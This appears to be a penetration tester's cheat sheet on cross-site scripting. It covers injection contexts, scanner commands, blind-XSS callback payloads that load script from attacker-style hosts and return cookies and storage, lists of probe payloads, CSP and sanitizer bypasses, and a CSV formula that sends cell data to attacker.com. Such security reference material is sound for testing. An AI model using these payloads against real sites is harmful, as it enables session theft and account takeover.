XSS

Sections XSS

User input rendered as HTML / JavaScript without proper escaping. Session theft, account takeover, internal recon via XHR.

T=https://target.com

i. Where it lives

Three flavors, each with different testing approach:

Reflected XSS - input goes into one response only, requires victim to click attacker’s link.

  • Search queries, error messages, URL params echoed in page

Stored XSS - input persists in DB, fires for every viewer of that data.

  • Comments, profile fields, messages, file metadata, log viewers, admin panels reading user data

DOM XSS - JavaScript on the page reads input from somewhere (URL hash, postMessage, localStorage) and writes it unsafely to the DOM.

  • SPA URL routing, fragment-based features, postMessage handlers between iframes

ii. Context determines the payload

The exact context where input lands dictates which payload escapes it. Always identify context first.

Probe with a benign string with all the chars that matter:

xxss"'<>(`{[/

Then look at the response source. Where does the string appear?

HTML body:

<div>xxss"'<>(`{[/</div>

Need <script> or event-handler attribute injection.

HTML attribute (double-quoted):

<input value="xxss"'<>(`{[/">

Need "> to break out, or rely on quote-only break.

HTML attribute (unquoted):

<input value=xxss"'<>(`{[/>

Space breaks out, no quotes needed.

HTML attribute (event handler):

<a onclick="alert('xxss'\'\<\>(`{[/')">

JS string context inside HTML. Different escape rules.

JavaScript string:

<script>var name = "xxss"'<>(`{[/";</script>

Need ";alert(1);// pattern.

JavaScript inside JSON inside HTML:

<script>var data = {"name": "xxss"};</script>

JSON encoding plus JS context - two layers of escaping.

URL context (href, src, action):

<a href="xxss"'<>(`{[/">

Use javascript:alert(1) if browser-rendered, or external URL takeover.

CSS context:

<style>color: xxss"'<>(`{[/;</style>

Limited but expression() (IE legacy) and @import can sometimes fire JS.

iii. Tools

Burp DOM Invader (Burp Pro)

Best DOM XSS scanner available. Enable via Burp’s browser → Settings → DOM Invader. Surfs the page, tracks every source/sink in JS, reports controllable sinks.

dalfox (CLI scanner, fast)

## URL with parameter:
dalfox url "$T/search?q=test"
## From a URL list:
dalfox file urls.txt
## With custom headers/cookies:
dalfox url "$T/search?q=test" --cookie "session=abc"
## Pipe through other tools:
echo "$T" | waybackurls | dalfox pipe
## Use external blind XSS endpoint (xsshunter):
dalfox url "$T/search?q=test" -b https://attacker.xss.ht/

XSStrike (parameter mining + payload mutation)

xsstrike -u "$T/search?q=test"
xsstrike -u "$T/login" --data 'user=admin&pass=x' -P pass

Older than dalfox but useful for context detection on tricky cases.

KNOXSS

Pro service with API access. Best detection rate on real engagements, requires subscription.

CSP Evaluator

Static analysis of CSP headers, finds bypass opportunities:

https://csp-evaluator.withgoogle.com/

Paste the target’s CSP, get a list of weaknesses (unsafe-inline, unsafe-eval, missing nonce, etc).

iv. XSS Hunter / blind XSS

When XSS triggers somewhere you can’t see (admin panel viewing your stored input, support ticket viewer, log analyzer), use a callback service that fires JS to phone home:

  • xss.report - modern self-hostable XSS Hunter alternative
  • Self-hosted XSS Hunter Express
  • knoxss.me - commercial alternative

Standard payload shape:

<script src="https://attacker.xss.report/c/abc"></script>

When it fires, you get:

  • Origin (the URL where the XSS triggered)
  • DOM screenshot
  • Cookies (if not HttpOnly)
  • localStorage / sessionStorage
  • Internal IP and User-Agent

Test EVERY input that might end up in an admin viewer:

  • Support tickets
  • User reports
  • “Contact us” forms
  • Error log viewers
  • Reviewer / approval workflows

v. Manual probes worth memorizing

The “always-try-first” set, in rough order of likelihood:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>
"><script>alert(1)</script>
'><script>alert(1)</script>
"><svg/onload=alert(1)>
javascript:alert(1)
<details open ontoggle=alert(1)>
<body onload=alert(1)>

Polyglot for context confusion (one payload fires in many contexts):

'>"><svg/onload=`/*${alert(1)}*/`>

Brutelogic’s polyglot collection is the canonical reference - see references section.

vi. CSP bypass

Modern apps deploy CSP headers. Common bypasses depend on what’s missing:

unsafe-inline allowed: inline scripts run, classic payloads work.

unsafe-eval allowed but no inline: use eval(), Function(), setTimeout(string), setInterval(string) after loading a permitted external script.

Whitelisted script source:

script-src 'self' https://cdn.example.com

If the whitelisted source has a JSONP endpoint, it can be abused. Search jsonp endpoints on the whitelisted CDN. Lots of JSONP services callable from any origin.

Nonce + strict-dynamic: read the nonce from existing scripts via DOM, reuse it. Possible when you can inject HTML but not arbitrary script positions.

Object-src and base-src missing: <object data=...> or <base href=...> can sometimes bypass.

H5SC Minichallenges and Sekurak’s CSP bypass guide are good follow-up reading.

vii. Tricks worth knowing

Forbidden chars: when < is filtered

Use template literals or event-driven payloads through other vectors:

javascript:alert(1)        ## URL contexts
&lt;svg&gt;onload=alert(1)  ## HTML decoding mid-pipeline
&#60;script&#62;            ## HTML entity decoded server-side?

Mutation XSS (mXSS)

Some sanitizers (DOMPurify older versions, server-side cleaners) mutate input differently than the browser. Payload looks safe to the sanitizer, browser interprets it as JS.

Classic example targets the difference between HTML parser and tag namespace rules:

<noscript><p title="</noscript><img src=x onerror=alert(1)>"></p>

See cure53’s DOMPurify research for current state of mXSS.

Document.domain trick (legacy)

When document.domain is set in parent and you control iframe content, same-origin tricks may apply. Mostly deprecated browser behavior in 2024+.

postMessage abuse

If the app uses postMessage between windows/iframes without validating origin:

// Open a malicious iframe, postMessage payloads back
window.open(victim).postMessage('payload', '*')

Burp’s DOM Invader has dedicated postMessage tooling.

URL fragment XSS (location.hash)

Fragments don’t go to the server. SPAs that read window.location.hash and write to the DOM are common DOM XSS sinks:

https://target.com/#<img src=x onerror=alert(1)>

File upload to XSS

HTML, SVG, XML uploads served at a path that returns Content-Type: text/html = stored XSS:

  • Upload .html file
  • Upload .svg with embedded <script>
  • Upload .xml with browser-renderable content
  • Polyglot upload (jpg+html)

Check the response headers when fetching the uploaded file. If Content-Type is wrong, XSS.

CSV injection (Formula injection)

When user input is exported to CSV and opened in Excel/Sheets:

=cmd|'/c calc'!A1
=HYPERLINK("http://attacker.com/?"&A1, "click")

Not XSS in the classic sense but worth checking on every “export to CSV” feature.

CSTI (Client-Side Template Injection)

Angular / Vue / React in dev mode sometimes evaluate template expressions client-side:

{{constructor.constructor("alert(1)")()}}      ## Angular

PortSwigger lab has guided practice for this.

viii. References

ix. Where it leads

  • Session cookie theft (no HttpOnly) → account takeover
  • Action-as-victim (CSRF-like) → password change, email change, admin actions
  • Internal recon via XHR to internal URLs (works since the victim’s browser has internal access)
  • Worm propagation in social features (forums, comments)
  • Phishing pages served from the legitimate domain
  • API key theft from localStorage / JS variables → cloud takeover via 00 Cloud MOC